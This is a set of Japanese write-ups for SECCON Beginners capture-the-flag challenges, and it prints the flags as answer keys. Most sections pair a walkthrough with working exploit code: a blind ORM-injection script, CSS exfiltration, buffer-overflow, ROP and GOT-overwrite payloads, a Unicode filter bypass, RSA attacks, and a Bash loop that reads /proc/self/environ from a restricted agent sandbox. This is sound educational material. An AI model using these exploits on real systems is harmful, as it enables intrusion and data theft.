「ポートフォリオサイト」は静的ファイルを公開するだけの構成が多いため、まず公開ディレクトリの構成を確認します。ZIP を展開すると public/ 配下に直接 flag.txt が置かれていることが見えます。次に index.js を読むと express.static(publicDir) でディレクトリを丸ごと公開していることがわかります。/admin には 403 が設定されていますが、flag.txt への直接アクセスにはガードがありません。curl /flag.txt で即座にフラグを取得できます。

# portfolio.zip 展開結果
public/
├── index.html
├── admin.html
├── styles.css
└── flag.txt   ← ★ 公開ディレクトリに機密ファイルが直置き！

// ① public/ 配下を express.static で丸ごと公開
app.use(express.static(publicDir));

// ② /admin だけ 403 を設定 — でも flag.txt は無防備！
app.get("/admin", (req, res) => {
  res.status(403).send("Forbidden");
});

curl http://portfolio.beginners.seccon.games:33455/flag.txt

Next.js で作られた書籍レビューサイトです。「表示されていない情報がサーバーで生成されていないか」という観点でソースを読みます。app/books/[id]/page.tsx を確認すると、book オブジェクトの internalNote フィールドに process.env.FLAG が入っています。Next.js App Router はサーバーコンポーネントから Client Component への props 全体を HTML にシリアライズするため、JSX で表示していなくても HTML ソースに含まれます。curl で /books/2 を取得して ctf4b{ で grep するだけでフラグが得られます。

const books = [
  { id: "1", title: "..." },
  {
    id: "2",
    title: "...",
    internalNote: process.env.FLAG ?? "ctf4b{dummy_flag}"
    // ↑ サーバー側でセットした値がクライアントへシリアライズされる
  },
];

// BookDetail は internalNote を JSX で表示していない ← でも HTML に含まれる！
return <BookDetail book={books.find(b => b.id === id)} />;

curl -sS "http://bookshelf.beginners.seccon.games:33456/books/2" | grep -o 'ctf4b{[^}]*}'

「著者だけが知っている footnote」というヒントから、公開 API では取得できない非公開フィールドがあることを推測します。ソースコードを読むと /api/articles/search エンドポイントが field・op・value を Prisma クエリに直接渡しており、Prisma の where 条件を任意に操作できます。author.profile.secretMemo というフィールドへのアクセスと startsWith オペレータを組み合わせると、SQL の LIKE 句に相当するブラインドインジェクションが可能です。1 文字ずつ試してカウントが 1 になれば正解という繰り返しで 12 文字の secretMemo を特定し、/api/claim に渡すとフラグが得られます。

secretMemo = 12文字の hex (0-9a-f)。1文字あたり最大 16 回のリクエスト。合計 最大 192 リクエスト ≪ 制限 300 req/min。

#!/bin/bash
BASE="http://footnote.beginners.seccon.games:44566"
secret=""
for i in $(seq 1 12); do
  for c in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do
    count=$(curl -sG "$BASE/api/articles/search" \
      --data-urlencode "field=author.profile.secretMemo" \
      --data-urlencode "op=startsWith" \
      --data-urlencode "value=${secret}${c}" \
      | python3 -c "import sys,json;print(json.load(sys.stdin)['count'])")
    if [ "$count" != "0" ]; then secret="${secret}${c}"; break; fi
  done
done
curl -s -X POST "$BASE/api/claim" \
  -H 'Content-Type: application/json' -d "{\"memo\":\"$secret\"}"

クーポンで残高を増やしてフラグ（260pt）を購入するという流れです。クーポン 1 枚で 70pt しか得られないため、残高増加処理を複数回実行できないかを疑います。ソースを読むと /support/statement がクーポンをクレームして残高加算する処理があり、ロック期間（lease=230ms）よりレンダリング遅延（render_delay=350ms）が長く設定されています。この間に別スレッドが同じクーポンをクレームして残高を二重加算できる TOCTOU 型の Race Condition です。5 スレッドを 270ms ずらして並行送信し、残高が 260pt を超えたら即座に /cart/quote → /exchange でフラグを取得します。

Chrome 拡張が絡む問題では、まず拡張が何を storage に保管しているかを確認します。manifest.json と content.js を読むと FLAG が chrome.storage.local に格納されており、content.js がページの DOM 属性にその値を書き出すことがわかります。しかしキーフィルターで "flag" を含む文字列をブロックしています。
chrome.storage.local.get(keys) の仕様を確認すると、keys にオブジェクト {"flag": ""} を渡すとデフォルト値マップとして処理されフィルターをバイパスできます。DOM 属性にフラグが書かれた後は、CSP で JS が禁止されているため CSS の background-image リクエストを使ったブラインド CSS Exfiltration で 1 文字ずつサーバーへ漏洩させます。

keys = ["flag"]
String(["flag"]) = "flag"
// → "flag" を含む → ブロック

keys = {"flag": ""}
String({"flag":""}) = "[object Object]"
// → "flag" を含まない → 通過!

chrome.storage.local.get({"flag":""}) はオブジェクトをデフォルト値マップとして処理し、実際の値 {"flag":"ctf4b{...}"} を返す。

/* content.js が DOM 属性にフラグを書いた後 */
/* data-review4b-result='{"ok":true,"result":{"flag":"ctf4b{ex7..."}}' */

/* CSS で1文字ずつリクエストを発火させる */
[data-review4b-result*="ctf4b{ex7enti0n_c4nt_check_nu1"]{
  background: url(/leak/NOTE_ID?i=00)  /* 次が '0' なら発火 */
}
[data-review4b-result*="ctf4b{ex7enti0n_c4nt_check_nu11"]{
  background: url(/leak/NOTE_ID?i=01)  /* 次が '}' なら発火 */
}

CSP は script-src 'none' で JS 不可だが img-src 'self' は許可されており、同一オリジンへの CSS background-image リクエストが通る。

「公開鍵を 2 つ」と「twins（双子）」というタイトルから、2 つの鍵が何かを共有していると推測します。RSA で 2 つの公開鍵 n1, n2 が独立していなければならないのは素因数です。もし共通の素因数 p を持つなら gcd(n1, n2) = p が一瞬で求まります。ソースコード chall.py を確認すると p = getPrime(512) が 1 回だけ呼ばれて両方の鍵に使われていることが判明します。GCD 攻撃で p を取り出せば秘密鍵を復元して復号できます。

p  = getPrime(512)   # ← 両方で共用される素数！
q1 = getPrime(512)
q2 = getPrime(512)
n1 = p * q1         # 1枚目の公開鍵
n2 = p * q2         # 2枚目の公開鍵 — p を共有!
c  = pow(m, e, n1)

from math import gcd

# Step 1: GCD で共通素因数 p を求める
p  = gcd(n1, n2)
# Step 2: q1 を求める
q1 = n1 // p
# Step 3: φ(n1) = (p-1)(q1-1)
phi = (p - 1) * (q1 - 1)
# Step 4: 秘密鍵 d = e^(-1) mod φ
d  = pow(e, -1, phi)
# Step 5: 復号
m  = pow(c, d, n1)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)

「正しく復号したはずなのに」というフレーバーは、復号の計算は実行されているが結果が正しくないことを示唆します。ソースコードを 1 行ずつ読むと p = -getPrime(384) という明らかに異常な行が目に入ります。Python では負数の mod 演算が可能なため実行時エラーは出ませんが、RSA の totient φ(n) = (p-1)(q-1) に負の p を代入すると totient が壊れます。wrong totient で計算した d による復号結果 m2 には、m2_std^e ≡ c_std (mod q0) という関係が成立するため、GCD で N を素因数分解できます。

p = -getPrime(384)   # ← マイナス！ p が負の素数に

from math import gcd

N      = -n              # |n| (正の RSA 法)
c_std  = c  + N          # 正の暗号文
m2_std = m2 + N          # wrong totient による復号結果 (正値)

# m2_std^e ≡ c_std (mod q0) の関係を利用して素因数分解
diff = (pow(m2_std, e, N) - c_std) % N
q0   = gcd(diff, N)
p0   = N // q0

# 正しい RSA で復号
phi_correct = (p0 - 1) * (q0 - 1)
d_correct   = pow(e, -1, phi_correct)
m1          = pow(c_std, d_correct, N)
print(m1.to_bytes((m1.bit_length() + 7) // 8, 'big').decode())

Sage スクリプト imaginary-friend.sage は p = 2⁵⁶ − 5 を法とする GF(p²)（虚数単位 i：i² ≡ −1 mod p）上の PRNG を実装しています。9×9 ランダム行列 M と初期状態ベクトル（GF(p²) 要素 × 9）を秘密とし、フラグの 6 バイトブロック 16 個それぞれに PRNG 出力を加算して出力します。

# imaginary-friend.sage（抜粋）
p = 2**56 - 5
K.i = GF(p**2, modulus=[1,0,1])   # i² + 1 = 0
class PRNG:
    def __init__(self):
        self.M     = random_matrix(K, 9, 9)   # 秘密の 9×9 行列
        self.state = random_vector(K, 9)      # 秘密の初期状態
    def next(self):
        self.state = self.M * self.state       # 状態更新
        return self.state[0]                 # 先頭要素を出力

# フラグを 6 バイト × 16 ブロックに分割して各ブロックを PRNG 出力でマスク
for idx in range(0, len(flag), 6):
    m = K.from_bytes(flag[idx:idx+6])  # フラグブロック → GF(p²) 要素（虚部=0）
    print(m + prng.next())             # 出力: y_k = m_k + s_k

# m_k = D_k + F_k * m14 (mod p) を各 k について計算後:
from fpylll import IntegerMatrix, LLL, CVP

k_list = list(range(1,14)) + [15]   # 14 個の制約 (k=0 は既知、k=14 は m₁₄ 自身)
dim = 15   # 1（m₁₄） + 14（各 m_k）

lat = IntegerMatrix(dim, dim)
lat[0, 0] = 1
for j, k in enumerate(k_list):
    lat[0, j+1] = int(F[k])          # 1 行目: (1, F[1], ..., F[15])
for j in range(14):
    lat[j+1, j+1] = int(p)          # 対角: p (法)

LLL.reduction(lat)                   # LLL 簡約
B = 2**48
target = [B//2] + [B//2 - D[k] for k in k_list]   # [0,B)^15 の中心へ
v = CVP.closest_vector(lat, target)  # CVP → m₁₄ を回収
m14 = v[0]                           # = 62879280869985

# 全ブロック復元
ms = [(D[k] + F[k] * m14) % p for k in range(16)]
flag = b''.join(m.to_bytes(6,'big') for m in ms)
print(flag.decode())

Free vars: [32, 33]   ← m₁₄, m₁₅ が自由変数と確認
Lattice dimension: 15
Running LLL reduction... LLL done. Running CVP...
CVP solution found.
v[0] (m₁₄ candidate): 62879280869985

m_0 : b'ctf4b{' ✓   ← 既知平文で検証
m_1 : b'my_1m4' ✓
m_2 : b'g1n4ry' ✓
m_3 : b'_fr13n' ✓
m_4 : b'd_1s_n' ✓
m_5 : b'0t_r34' ✓
m_6 : b'l_bu7_' ✓
m_7 : b'kn0ws_' ✓
m_8 : b'4ll_my' ✓
m_9 : b'_s3cr3' ✓
m_10: b'ts_07f' ✓
m_11: b'cfd556' ✓
m_12: b'2c1bd7' ✓
m_13: b'ebf0cb' ✓
m_14: b'90932a' ✓   ← 格子が特定した自由変数
m_15: b'309e8}' ✓   ← m₀ 制約から決定

前作「Golden Ticket」の続編であることから、AES-CBC を用いた暗号化・復号オラクルを操作する問題と推測できます。制約を確認すると「Encrypt 3 枚」「不正 padding でプロセス終了」という厳しい条件があります。通常の Padding Oracle 攻撃は使えないため、valid padding のみを安全に送れるオラクルを構築することを考えます。Encrypt で得た C2 ブロックは raw decrypt 値が既知であるため、これを利用して常に valid padding になるペアを作ります。固定 IV は C2 の 1 ブロック Decrypt が成功するまで接続を繰り返して回収します（成功確率 ≈ 1/255）。

• AES-CBC / 鍵は Correct ごとに再生成 / IV と challenge (96 bytes) は固定
• 暗号化チケット 3 枚 / 復号チケット 10,000 枚
• GOLDEN_TICKET += 0.25 ずつ → 4 回 Correct でフラグ
• Decrypt で不正 padding を送るとプロセス終了 (通常の Padding Oracle 不可)

16 バイト平文 P を Encrypt すると padding により 2 ブロック C1, C2 が返る。

C1 = E_k(P xor V)
C2 = E_k(0x10...10 xor C1)

D_k(C2) = C1 xor 0x10...10

つまり C2 は raw decrypt が既知のブロックとして使える。固定 IV V 回収後は、P = 0 としていた C1 も D_k(C1) = V として使える。

D_k(C) xor B
= R xor (R xor (W || 0x01))
= W || 0x01

Decrypt の出力前半は D_k(B) xor V なので、固定 IV が分かっていれば D_k(B) が求まる。これを繰り返して CBC-R 用の既知ブロックを増やす。

python3 golden_ticket_2_exploit.py --workers 16 --progress-every 100

worker=9 attempt=60: random bootstrap for key2 succeeded
correct 2: dec_used=678, known_blocks=229
correct 3: dec_used=1791, known_blocks=1115
correct 4: dec_used=2462, known_blocks=673
flag: ctf4b{w3lc0m3_b4ck_t0_7h3_ch0c0l4t3_f4c70ry_0nc3_4g41n}
Your tickets:
7538 decryption ticket(s)

配布された baby-rev.c を読むと構造は極めてシンプルです。入力の各バイトを固定値 0x88 で XOR した結果を定数配列 xorFlag[] と 1 バイトずつ比較しています。XOR は自己逆演算（A ^ K ^ K = A）なので、xorFlag[i] ^ 0x88 をそのまま計算するだけでフラグが得られます。コード解析 → 逆演算 → Python で出力という Reversing 入門の王道ワークフローです。

// ① 比較対象の定数配列（入力 ^ 0x88 であるべき値）
const unsigned char xorFlag[] = {
    0xeb,0xfc,0xee,0xbc,0xea,0xf3,0xe4,0xb8,0xb8,0xe3,
    0xd7,0xe5,0xb8,0xe5,0xd7,0xe6,0xb8,0xd7,0xe0,0xbc,
    0xe6,0xec,0xfb,0xd7,0xe2,0xfd,0xfb,0xfc,0xd7,0xf0,
    0xb8,0xfa,0xa9,0xf5
};
const int xorKey = 0x88;   // 固定 XOR 鍵
const int len    = 34;

// ② 入力長チェック
if (inputLen != len) { printf("Wrong:(\n"); return -1; }

// ③ 各バイトを xorKey で XOR して xorFlag と照合
for (int i = 0; i < len; i++) {
    if ((inp[i] ^ xorKey) != xorFlag[i]) {
        printf("Wrong:(\n"); return -1;
    }
}
printf("Correct:)\n");  // inp[i] == xorFlag[i] ^ xorKey が条件

xorFlag = [
    0xeb,0xfc,0xee,0xbc,0xea,0xf3,0xe4,0xb8,0xb8,0xe3,
    0xd7,0xe5,0xb8,0xe5,0xd7,0xe6,0xb8,0xd7,0xe0,0xbc,
    0xe6,0xec,0xfb,0xd7,0xe2,0xfd,0xfb,0xfc,0xd7,0xf0,
    0xb8,0xfa,0xa9,0xf5
]
flag = ''.join(chr(b ^ 0x88) for b in xorFlag)
print(flag)   # → ctf4b{l00k_m0m_n0_h4nds_just_x0r!}

「メモリの中の FLAG を探す」というテーマから、ELF バイナリの静的解析が必要です。まず file コマンドでバイナリ形式を確認し、nm や objdump -d でシンボルと関数一覧を調べます。not stripped なので関数名が残っており、gen_key という怪しい関数を発見できます。逆アセンブル結果から gen_key(i) = 7×i + 33 という線形鍵生成式を読み解き、.rodata セクションに格納された暗号バイト列と XOR 復号します。

; gen_key(i) のアセンブリ
mov eax, [i]    ; eax = i
shl eax, 3      ; eax = i * 8
sub eax, [i]    ; eax = i*8 - i = i*7
add eax, 0x21   ; eax = 7*i + 33
ret             ; → gen_key(i) = (7*i + 33) & 0xFF

enc = bytes([
    0x42,0x5c,0x49,0x02,0x5f,0x3f,0x06,0x2b,0x06,0x06,0x0e,0x1c,
    0x40,0x08,0xdc,0xb9,0xe3,0xea,0xab,0xc8,0xc9,0xeb,0xcc,0xf6,
    0xfc,0x8f,0xe3,0x81,0xd0,0x99,0x90,0x99,0x32,0x3d,0x3a,0x37,0x60
])
flag = ''.join(chr(enc[i] ^ ((7*i + 33) & 0xFF)) for i in range(len(enc)))
print(flag)  # → ctf4b{My_fir5t_3rr4nd_w45_4_5ucc355!}

「次世代プログラミング言語」と「2050」というタイトルから Q#（量子コンピューティング言語）であることに気づきます。初見では難解に見えますが、CTF では「見た目が難しくても実態はシンプル」なことが多いです。Q# の X ゲートはビットフリップ操作（NOT と等価）です。データビットと鍵ビットの両方に X を適用するとキャンセルされるため、実質的に result = dataBit XOR keyBit という操作になります。コードから鍵 “Quantum” を特定して通常の XOR 復号をするだけで解けます。

within {
  if dataBit { X(q[i]); }
  if keyBit  { X(q[i]); }
} apply { /* 測定 */ }

result = dataBit ^ keyBit
# XOR そのもの!
# X ゲート2回 = 元に戻る

key = [0x51,0x75,0x61,0x6E,0x74,0x75,0x6D]  # "Quantum"
ct  = [0x32,0x01,0x07,0x5A,0x16,0x0E,0x25,0x34,
       0x19,0x0D,0x01,0x2B,0x24,0x18,0x30,0x1B,
       0x15,0x1B,0x19,0x2A,0x3A,0x3E,0x07,0x0D,
       0x0A,0x55,0x54,0x4C,0x2C]
print(''.join(chr(c ^ key[i % 7]) for i,c in enumerate(ct)))
# → ctf4b{Hello_Quantum_World!!!}

「2000 年代のハッカー」と「ウイルス」というフレーバーから、レトロな暗号化アルゴリズム（AES・RC4）の組み合わせを疑います。not stripped な ELF に対して strings コマンドを実行すると、バイナリ中に鍵文字列が平文で含まれていることが多いです。ここでも THISISNOTAESKEY!（AES-128 鍵）と RC4 鍵が発見できます。次に objdump -d で main 関数を逆アセンブルして暗号化の順序（AES→RC4）を確認し、復号は逆順（RC4→AES）で行います。

• strings old-virus → THISISNOTAESKEY! (AES-128 鍵, 16 bytes) と ImashyKey!Dontlookme!!! (RC4 鍵) が平文で存在
• objdump -d の main: aes_ecb_encrypt → rc4 → fwrite → unlink の順

# Step 1: RC4 で戻す
python3 rc4_decrypt.py flag.txt.hacked mid.bin

# Step 2: AES-128-ECB で戻す (鍵を hex 変換)
# "THISISNOTAESKEY!" = 5448495349534e4f544145534b455921
openssl enc -aes-128-ecb -d -in mid.bin -out flag.txt \
  -K 5448495349534e4f544145534b455921

「あるイベントが発生するとフラグが表示される」というヒントから、特定の条件を満たしたときにフラグが出力されるトリガー型の問題です。filter.sh を読むと末尾に base64 エンコードされたデータがあり、展開すると ELF ファイル（eBPF オブジェクト）が出てきます。eBPF は Linux カーネルで動くサンドボックスプログラムで、ネットワークパケットを監視してフラグを出力できます。llvm-objdump で逆アセンブルし、発火条件（SYN パケットの window 値 + payload 先頭 5 バイト）を特定して scapy でパケットを送ります。

# filter.sh の末尾 base64 → zip → eBPF オブジェクト
tail -n 2 filter.sh | head -n 1 | base64 -d > /tmp/filter.zip
unzip -q /tmp/filter.zip -d /tmp/filter_ext
file /tmp/filter_ext/filter
# → ELF 64-bit LSB relocatable (eBPF オブジェクト)

# LLVM で逆アセンブル
llvm-objdump-21 -d --triple=bpfel /tmp/filter_ext/filter

sudo bash filter.sh start
sudo cat /sys/kernel/debug/tracing/trace_pipe &

# 条件①: window=54321 の SYN
sudo python3 -c "
from scapy.all import *
send(IP(dst='127.0.0.1')/TCP(sport=44444,dport=12345,flags='S',window=54321),iface='lo')
send(IP(dst='127.0.0.1')/TCP(sport=44444,dport=12345,flags='PA')/Raw(b'ctf4b'),iface='lo')
"
# trace_pipe に ctf4b{ebpf_m4g1c_kn0ck} が出力される

「admin を目指す」という問題文から、認証バイパスが目標です。C のソースコード main.c を読むと struct user に username[16] と is_admin フィールドがあります。fgets のバッファサイズに sizeof(struct user)（= 20 バイト）が指定されているため、16 バイトの username バッファを超えて隣の is_admin フィールドに書き込める典型的なスタックオーバーフローです。16 バイトの ‘A’ + \x01\n を送ると is_admin = 1 になり admin 権限が得られます。

username: b'A'*16
is_admin: \x01\x0a\x00\x00
          ↑    ↑ strcspn が '\n' を
         書き込まれた  '\0' に置換
         → is_admin = 0x00000001 ✓

from pwn import *
r = remote('login.beginners.seccon.games', 9080)
r.recvuntil(b'Input username: ')
r.send(b'A'*16 + b'\x01\n')
r.sendline(b'cat /home/pwn/flag.txt')
print(r.recv(4096).decode())

「ボスの防御力が高い」というヒントから、ゲームのロジックを迂回する必要があります。ヒープを使うバイナリでは Use-After-Free を疑うのが定石です。monster と boss が同じサイズ（40 バイト）の構造体であれば、monster を free 後に boss を malloc すると同じヒープチャンクに配置されます。my_monster ポインタはまだ生きているため、rename_monster でそのポインタ経由で boss 構造体の defense フィールドを上書きできます。defense を小さくすれば bounty > defense が成立し win() が呼ばれます。

「ROP で読み出す」という問題文から ROP Chain が必要なことは明確です。まず checksec でセキュリティ機能を確認します（NX 有効、PIE 無効）。PIE 無効なので関数・gadget のアドレスが固定です。ROPgadget --binary chall で利用可能な gadget を探し、pop rdi; ret があれば第 1 引数を設定して関数を呼び出せます。バッファサイズを確認すると 64 バイトバッファに 200 バイト読むため、64 + 8（saved rbp）= 72 バイトのパディング後に ROP チェーンを配置します。

pop_rdi_ret = 0x4011f6   # gadget: pop rdi; ret
read_file   = 0x4011ff   # read_file(path) → ファイルを開いて puts
flag_path   = 0x402008   # 文字列 "/flag.txt"

from struct import pack
payload  = b'A' * 72
payload += pack('<Q', 0x4011f6)  # pop rdi; ret
payload += pack('<Q', 0x402008)  # "/flag.txt"
payload += pack('<Q', 0x4011ff)  # read_file

「たくさんスコアが保存できそう」から、スコアを格納する配列の境界チェックを疑います。rank の下限チェックがない場合、負インデックスで配列外（GOT 領域）に書き込める可能性があります。GOT Overwrite の定石手順は、① まずスタックカナリー失敗ハンドラを main に書き換えてプログラムをリセット可能にし、② strtol@GOT を system のアドレスに上書きして、③ 次の rank 入力がシェルコマンドとして実行される状態を作ることです。

scores = 0x4040a0
書き込み先 = scores + rank * 8

__stack_chk_fail@GOT (0x404008): rank = (0x404008 - 0x4040a0) / 8 = -19
strtol@GOT           (0x404030): rank = (0x404030 - 0x4040a0) / 8 = -14

ノートと job を管理するヒープベースの C プログラムです。read(fd, buf, size) の後に buf[n] = '\0' があるとき、n == size なら buf[size]（1 バイト外）に NUL が書かれる Off-by-One 脆弱性があります。これを利用して隣のヒープチャンクの prev_inuse ビットを落とし（Poison Null Byte）、偽の前方結合を発生させます。生きたノートポインタが job 構造体と重なるため、ノート書き込みで job.command と job.token を上書きし、認証を通過して任意コマンドを実行します。

static void read_note_data(char *buf, size_t size) {
    n = read(STDIN_FILENO, buf, size);   // size バイト読む
    buf[n] = '\0';                       // n == size なら buf[size] = 0 → 1byte overflow!
}

「ファイル処理を自動化する workflow」から、ファイル読み書きとステップ実行の仕組みを持つプログラムです。shrink 操作後に write_limit が更新されないというバグを探します。これにより縮小済み memo から隣の workflow 構造体へヒープオーバーフローができます。次に computed goto（GCC の label-as-value）のテーブルを偽造して任意のコードパスへ誘導する方法を考えます。Path Traversal（docs/../../flag.txt）と組み合わせて flag ファイルを読み出します。

「全部当てられますか？」という挑戦から、乱数の予測が必要です。Python の random モジュールはメルセンヌ・ツイスタによる擬似乱数で、シードが同じなら必ず同じ数列を生成します。ソースを読むと random.seed(name) でユーザーが入力した名前をシードにしていることがわかります。同じ名前をローカルの Python インタープリタに渡して 5 回分の乱数を事前計算し、サービスに順番に送るだけでフラグが得られます。

random.seed(name)   # ← 外部入力がシード
for _ in range(5):
    x = random.randint(1, 1000000)

rng = random.Random()
rng.seed("attacker")
for _ in range(5):
    print(rng.randint(1,1000000))

名前 "attacker" での事前計算結果: [736736, 383342, 633722, 438357, 503623]。これをサービスに順番に送るだけ。

「表示できるファイルを選ぶ」から、許可されたファイルリストの検証バイパスが目標です。ソースを読むと入力に “flag” が含まれるかチェックした後、Unicode 正規化（NFKC）を経てファイル名を解決しています。正規化前にチェックしているため、全角文字 ｆｌａｇ（U+FF46 等）を使うと “flag” チェックをすり抜け、正規化後は “flag” になって許可されたファイルと一致します。これは「検証後に変換する」という TOCTOU 類似のパターンです。

def main():
    filename = input(...)

    # ① 正規化 "前" に "flag" チェック
    if "flag" in filename:
        print("blocked"); return

    # ② 正規化 "後" に ALLOWED_FILES と照合
    resolved = resolve_path(filename)
    # resolve_path 内で unicodedata.normalize("NFKC", filename) が実行される

# 全角文字の UTF-8 バイト列を直接送信してフィルターをバイパス
# ｆ=\xef\xbd\x86  ｌ=\xef\xbd\x8c  ａ=\xef\xbd\x81  ｇ=\xef\xbd\x87
echo -e '\xef\xbd\x86\xef\xbd\x8c\xef\xbd\x81\xef\xbd\x87.txt' | nc viewer.beginners.seccon.games 33458

「何か隠れているような気がする」というヒントからステガノグラフィを疑います。PDF ファイルのメタデータや構造を確認する際、ファイル末尾への追記データ（appended data）は見落とされやすい隠し場所です。strings や hex エディタで PDF を確認すると %%EOF の後に PK\x03\x04（ZIP シグネチャ）が見つかります。PDF には「付加データを調べるな」という文言があり、これが逆説的なヒントになっています。ZIP を切り出して展開すると本物のフラグが入った FLAG.txt が出てきます。

# ZIP シグネチャのオフセットを探す
grep -aob $'\x50\x4b\x03\x04' Homework.pdf
# → 例: 2890:PK...

# 埋め込み ZIP を切り出す
dd if=Homework.pdf of=/tmp/hidden.zip bs=1 skip=2890

# 中身を確認
unzip -l /tmp/hidden.zip   # → FLAG.txt

# フラグを取得
unzip -p /tmp/hidden.zip FLAG.txt

「コーディングエージェント」として制限された Bash 環境で動作します。cat・env・strings などの外部コマンドが全て禁止されているため、Bash 組み込みコマンドだけで環境変数を列挙する必要があります。通常は $FLAG で読めますが、フラグが環境変数のキー名として注入されているため変数参照では取得できません。/proc/self/environ は NUL 区切りで全環境変数を格納しており、read -d $'\0' という Bash 組み込みオプションで NUL を区切り文字として読み出せます。

# サーバー側の環境変数注入
child_env[FLAG_VALUE] = "x"
# → ctf4b{b45h...} が環境変数のキー名になっている！
# $FLAG では参照できない → 全環境変数を列挙する必要がある

while IFS= read -r -d $'\0' line; do echo "$line"; done < /proc/self/environ

• /proc/self/environ: プロセスの環境変数を NUL (\0) 区切りで列挙する特殊ファイル
• read -d $'\0': NUL を区切り文字として使う Bash 組み込みオプション (外部コマンド不要)
• IFS=: 行全体を保持 (スペース等でフィールド分割しない)

PATH=/app/bin
HOME=/tmp
AGENT=greenroom
MODE=sandbox
ctf4b{b45h_bu1lt1n5_c4n_r34d_nul_s3p4r4t3d_3nv}=x
↑ キー名がフラグ！